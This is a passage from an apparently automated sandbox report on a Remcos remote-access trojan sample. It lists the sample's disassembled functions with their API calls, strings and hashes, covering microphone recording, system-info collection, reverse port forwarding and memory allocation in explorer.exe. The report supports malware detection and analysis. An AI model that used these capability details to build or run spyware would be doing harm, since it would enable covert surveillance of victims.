                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Eventinet_ntoa
                                                                                                                                                                                                  • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$NG
                                                                                                                                                                                                  • API String ID: 3578746661-3604713145
                                                                                                                                                                                                  • Opcode ID: 7c30c95a10e3f338e66b2e9facc8409e64c5ca2891cd2c3713d0df1bf753bc0e
                                                                                                                                                                                                  • Instruction ID: 5b49fc9f60f15aadef5e91219dcc0d557585a55aed20fbc46105045b647f8dc0
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7c30c95a10e3f338e66b2e9facc8409e64c5ca2891cd2c3713d0df1bf753bc0e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5351D531A042015BC714FB36D95AAAE36A5AB84344F40453FFA06676F2EF7C8985C7CE
                                                                                                                                                                                                  Function 00455F84 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,0045707F), ref: 00455FA7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: DecodePointer
                                                                                                                                                                                                  • String ID: acos$asin$exp$log$log10$pow$sqrt
                                                                                                                                                                                                  • API String ID: 3527080286-3064271455
                                                                                                                                                                                                  • Opcode ID: 91e2bc993b3a5d0be0d2963f4ae304432519259fdd54363bb3d88c255dc20ba7
                                                                                                                                                                                                  • Instruction ID: a80f67f54703b8f0c72b4cfac69ffbb6288a0afb30985e2ab5cebdbe3ffe6fde
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 91e2bc993b3a5d0be0d2963f4ae304432519259fdd54363bb3d88c255dc20ba7
                                                                                                                                                                                                  • Instruction Fuzzy Hash: BB515071900909DBCF10DF58E9481BDBBB0FF49306F924197D841A7396DB798928CB1E
                                                                                                                                                                                                  Function 004174D0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 00417530
                                                                                                                                                                                                    • Part of subcall function 0041C516: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C52F
                                                                                                                                                                                                  • Sleep.KERNEL32(00000064), ref: 0041755C
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(00000000), ref: 00417590
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$CreateDeleteExecuteShellSleep
                                                                                                                                                                                                  • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                                                                                                                                                                                  • API String ID: 1462127192-2001430897
                                                                                                                                                                                                  • Opcode ID: 371fa78f1ad8ec967a70ec0fa429f4f8b0770b1d3978a9d26dd26964c3d2c067
                                                                                                                                                                                                  • Instruction ID: 6598d36db715e58345e35b35962d03aab6dacf30af49f41f33489dbeb2d48940
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 371fa78f1ad8ec967a70ec0fa429f4f8b0770b1d3978a9d26dd26964c3d2c067
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 17313F71940119AADB04FB61DC96DED7735AF50309F00017EF606731E2EF785A8ACA9C
                                                                                                                                                                                                  Function 004073E7 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 00407418
                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407691,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe), ref: 004074D9
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: CurrentProcess
                                                                                                                                                                                                  • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                                                                                                                                                                                  • API String ID: 2050909247-4242073005
                                                                                                                                                                                                  • Opcode ID: 6ceb9103d77b1bc27c300794ecf0ee90de48fd3161816cd50b459a1cb4f425b3
                                                                                                                                                                                                  • Instruction ID: c8d37550e6f1e63eabf3c93e4c9511e0cbcdb01d3c289a22ccdf2b55afca88d7
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6ceb9103d77b1bc27c300794ecf0ee90de48fd3161816cd50b459a1cb4f425b3
                                                                                                                                                                                                  • Instruction Fuzzy Hash: DE317EB1A44300ABD314EF65DD46F1677B8BB04705F10087EF509A6692EBB8B8458B6F
                                                                                                                                                                                                  Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • _strftime.LIBCMT ref: 00401D50
                                                                                                                                                                                                    • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                                                                                                                                  • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                                                                                                                                                                                                  • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                                                                                                                                                                                  • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: wave$Header$BufferCreateFilePrepareUnprepare_strftime
                                                                                                                                                                                                  • String ID: %Y-%m-%d %H.%M$.wav$dMG$|MG
                                                                                                                                                                                                  • API String ID: 3809562944-243156785
                                                                                                                                                                                                  • Opcode ID: 623e704f1bf6e3334e0817a10f99c7145d0b27867f0db7637beef4f851c1d9f8
                                                                                                                                                                                                  • Instruction ID: 12771182903f202c4b9d99511a6abf0f0559d076e6e3c56183b1657b5f9df8bc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 623e704f1bf6e3334e0817a10f99c7145d0b27867f0db7637beef4f851c1d9f8
                                                                                                                                                                                                  • Instruction Fuzzy Hash: AA318F315043019FC324EB22DC56A9E77A8FB84315F40443EF189A21F2EFB89A49CB5E
                                                                                                                                                                                                  Function 00410E9C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • std::_Lockit::_Lockit.LIBCPMT ref: 00410EA9
                                                                                                                                                                                                  • int.LIBCPMT ref: 00410EBC
                                                                                                                                                                                                    • Part of subcall function 0040E0FC: std::_Lockit::_Lockit.LIBCPMT ref: 0040E10D
                                                                                                                                                                                                    • Part of subcall function 0040E0FC: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E127
                                                                                                                                                                                                  • std::_Facet_Register.LIBCPMT ref: 00410EFC
                                                                                                                                                                                                  • std::_Lockit::~_Lockit.LIBCPMT ref: 00410F05
                                                                                                                                                                                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00410F23
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 00410F64
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_Init_thread_footerRegisterThrow
                                                                                                                                                                                                  • String ID: ,kG$0kG
                                                                                                                                                                                                  • API String ID: 3815856325-2015055088
                                                                                                                                                                                                  • Opcode ID: 0df5c5a73a4f0609ec37d72de2388ae496d2ae77879c5bcc00101055df3a6b79
                                                                                                                                                                                                  • Instruction ID: 6b7561e6e5701aa818233467e21ea388c72e3112cb5a37ed7db11c94fdfc7bf8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0df5c5a73a4f0609ec37d72de2388ae496d2ae77879c5bcc00101055df3a6b79
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 682129329005249BCB14FB6AD8429DE77A9DF48324F21416FF404E72D1DFB9AD818B9D
                                                                                                                                                                                                  Function 00401BE9 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 71COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00401BF9
                                                                                                                                                                                                  • waveInOpen.WINMM(00472AC0,000000FF,00472AA8,Function_00001D0B,00000000,00000000), ref: 00401C8F
                                                                                                                                                                                                  • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401CE3
                                                                                                                                                                                                  • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401CF2
                                                                                                                                                                                                  • waveInStart.WINMM ref: 00401CFE
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: wave$BufferCreateDirectoryHeaderOpenPrepareStart
                                                                                                                                                                                                  • String ID: dMG$|MG$PG
                                                                                                                                                                                                  • API String ID: 1356121797-532278878
                                                                                                                                                                                                  • Opcode ID: e77b4b4e4653ae7db2ffa9ad3e4c491b15162175c47f56b782ba1ea702525e8d
                                                                                                                                                                                                  • Instruction ID: 1e392cdedf79dd274444ae0cc0b76d6cc185fd36309c60cea9b16e967c73269b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e77b4b4e4653ae7db2ffa9ad3e4c491b15162175c47f56b782ba1ea702525e8d
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 51212A71604201AFC7399F66EE15A6A7BB6FB94715B00803FA10DD76B1DBB84881CB5C
                                                                                                                                                                                                  Function 0041D4EE Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 48windowstringCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0041D507
                                                                                                                                                                                                    • Part of subcall function 0041D5A0: RegisterClassExA.USER32 ref: 0041D5EC
                                                                                                                                                                                                    • Part of subcall function 0041D5A0: CreateWindowExA.USER32 ref: 0041D607
                                                                                                                                                                                                    • Part of subcall function 0041D5A0: GetLastError.KERNEL32 ref: 0041D611
                                                                                                                                                                                                  • ExtractIconA.SHELL32(00000000,?,00000000), ref: 0041D53E
                                                                                                                                                                                                  • lstrcpynA.KERNEL32(00474B60,Remcos,00000080), ref: 0041D558
                                                                                                                                                                                                  • Shell_NotifyIconA.SHELL32(00000000,00474B48), ref: 0041D56E
                                                                                                                                                                                                  • TranslateMessage.USER32(?), ref: 0041D57A
                                                                                                                                                                                                  • DispatchMessageA.USER32(?), ref: 0041D584
                                                                                                                                                                                                  • GetMessageA.USER32 ref: 0041D591
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Message$Icon$ClassCreateDispatchErrorExtractFileLastModuleNameNotifyRegisterShell_TranslateWindowlstrcpyn
                                                                                                                                                                                                  • String ID: Remcos
                                                                                                                                                                                                  • API String ID: 1970332568-165870891
                                                                                                                                                                                                  • Opcode ID: bb528cd859a2941ef755fedfca18549d942758f832e9eaa985f33bd327a59cbd
                                                                                                                                                                                                  • Instruction ID: 0a96d410cd687733bc2db9baaca44b2a156926270a6f860d3af68fdb0bcdced8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bb528cd859a2941ef755fedfca18549d942758f832e9eaa985f33bd327a59cbd
                                                                                                                                                                                                  • Instruction Fuzzy Hash: CA0152B1840244EBD7109FA5EC4CFABBB7CEBC5705F00406AF515931A1D778D885CB58
                                                                                                                                                                                                  Function 0044CE00 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: fe4c6299b1f4debc2f0613a6a4b69777743e78c2e08cef74df9dc0c7942dc402
                                                                                                                                                                                                  • Instruction ID: c312da418a410335279f0cc1971bad4557be7deeadefc114a47e367d78dfde09
                                                                                                                                                                                                  • Opcode Fuzzy Hash: fe4c6299b1f4debc2f0613a6a4b69777743e78c2e08cef74df9dc0c7942dc402
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94C1FA70D04249AFEF11DFA8CC41BAE7BB0AF09304F19415AE915A7392C77C9941CB69
                                                                                                                                                                                                  Function 00453E03 Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,004540DC,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453EAF
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F32
                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00453F6A
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,004540DC,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FC5
                                                                                                                                                                                                  • __alloca_probe_16.LIBCMT ref: 00454014
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FDC
                                                                                                                                                                                                    • Part of subcall function 004461B8: RtlAllocateHeap.NTDLL(00000000,00435329,?,?,004388C7,?,?,00000000,?,?,0040DE9D,00435329,?,?,?,?), ref: 004461EA
                                                                                                                                                                                                  • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,004540DC,00000000,00000000,?,00000001,?,?,?,?), ref: 00454058
                                                                                                                                                                                                  • __freea.LIBCMT ref: 00454083
                                                                                                                                                                                                  • __freea.LIBCMT ref: 0045408F
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 201697637-0
                                                                                                                                                                                                  • Opcode ID: c58c81590331c8434bd69e2fe975192d11ab6ad4f25d793436d733d3ebd853b6
                                                                                                                                                                                                  • Instruction ID: 957693029e8655488503f3238c5b69ab87e72ad781d0cd1ca1c521277c14990f
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c58c81590331c8434bd69e2fe975192d11ab6ad4f25d793436d733d3ebd853b6
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2B91D472E002069BDB208E65C846EEFBBF59F49756F14051BED00EB282D73DCD898769
                                                                                                                                                                                                  Function 10001CCA Relevance: 13.6, APIs: 9, Instructions: 84fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CopyFileW.KERNEL32(?,?,00000000), ref: 10001D1B
                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000080,00000000), ref: 10001D37
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D4B
                                                                                                                                                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D58
                                                                                                                                                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 10001D72
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 10001D7D
                                                                                                                                                                                                  • DeleteFileW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 10001D8A
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.658489687.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658478098.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.658489687.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_10000000_CasPol.jbxd
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Delete$CloseCopyCreateHandleReadSize
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID: 1454806937-0
                                                                                                                                                                                                  • Opcode ID: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                                                                                                                                  • Instruction ID: 3114db45d92e83daf92c47a85baf70c14dd0292bf94a6379629bf72341f68b19
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 95ffba8e0906de61fbf41533eef9bce15325b0b0370a179d90a4a5ca68fedbfa
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2221FCB594122CAFF710EBA08CCCFEF76ACEB08395F010566F515D2154D6709E458A70
                                                                                                                                                                                                  Function 004451FA Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 00448295: GetLastError.KERNEL32(00000020,?,0043A875,?,?,?,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B), ref: 00448299
                                                                                                                                                                                                    • Part of subcall function 00448295: _free.LIBCMT ref: 004482CC
                                                                                                                                                                                                    • Part of subcall function 00448295: SetLastError.KERNEL32(00000000,0043F9F8,?,?,00000020,00000000,?,?,?,0042DD92,0000003B,?,00000041,00000000,00000000), ref: 0044830D
                                                                                                                                                                                                    • Part of subcall function 00448295: _abort.LIBCMT ref: 00448313
                                                                                                                                                                                                  • _memcmp.LIBVCRUNTIME ref: 004454A4
                                                                                                                                                                                                  • _free.LIBCMT ref: 00445515
                                                                                                                                                                                                  • _free.LIBCMT ref: 0044552E
                                                                                                                                                                                                  • _free.LIBCMT ref: 00445560
                                                                                                                                                                                                  • _free.LIBCMT ref: 00445569
                                                                                                                                                                                                  • _free.LIBCMT ref: 00445575
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: _free$ErrorLast$_abort_memcmp
                                                                                                                                                                                                  • String ID: C
                                                                                                                                                                                                  • API String ID: 1679612858-1037565863
                                                                                                                                                                                                  • Opcode ID: 988bd1a8119ed4a709ec3dab848aee85f0f523c2f313b021c20f4b3607b372ff
                                                                                                                                                                                                  • Instruction ID: c5fa7cd4a0def74fccfc383a36f0c71fd12082b8797d706f49daa7c6421ebafc
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 988bd1a8119ed4a709ec3dab848aee85f0f523c2f313b021c20f4b3607b372ff
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D4B13775A016199FEB24DF18C885BAEB7B4FF48304F5085EAE809A7351E774AE90CF44
                                                                                                                                                                                                  Function 00414945 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID: tcp$udp
                                                                                                                                                                                                  • API String ID: 0-3725065008
                                                                                                                                                                                                  • Opcode ID: e3882082d73cb51732241927fa811467e6376eb334e21639ae703d67e169e483
                                                                                                                                                                                                  • Instruction ID: 4fb2fbaa1818e082f2863e0a7c91e4ace7fe62ed23b491eff3584b955907a2f3
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e3882082d73cb51732241927fa811467e6376eb334e21639ae703d67e169e483
                                                                                                                                                                                                  • Instruction Fuzzy Hash: FC7197706083028FDB248F55D4817ABB7E4AFC8355F20482FF88697351E778DE858B9A
                                                                                                                                                                                                  Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • __Init_thread_footer.LIBCMT ref: 004018BE
                                                                                                                                                                                                  • ExitThread.KERNEL32 ref: 004018F6
                                                                                                                                                                                                  • waveInUnprepareHeader.WINMM(?,00000020,00000000), ref: 00401A04
                                                                                                                                                                                                    • Part of subcall function 00434801: __onexit.LIBCMT ref: 00434807
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                                                                                                                                                                                  • String ID: PkG$XMG$NG$NG
                                                                                                                                                                                                  • API String ID: 1649129571-3151166067
                                                                                                                                                                                                  • Opcode ID: 550caf075e583e476d87b570dd8e50d88aac4017f2d84a61fa09579770db8c75
                                                                                                                                                                                                  • Instruction ID: 94ec9d015e3317cd6a1a8c0f3f0e5257b1b149af30ff9c9aaa6ade548e88cebb
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 550caf075e583e476d87b570dd8e50d88aac4017f2d84a61fa09579770db8c75
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7441D5312042109BC324FB26DD96ABE73A6AB85314F00453FF54AA61F2DF386D4AC71D
                                                                                                                                                                                                  Function 0040799E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
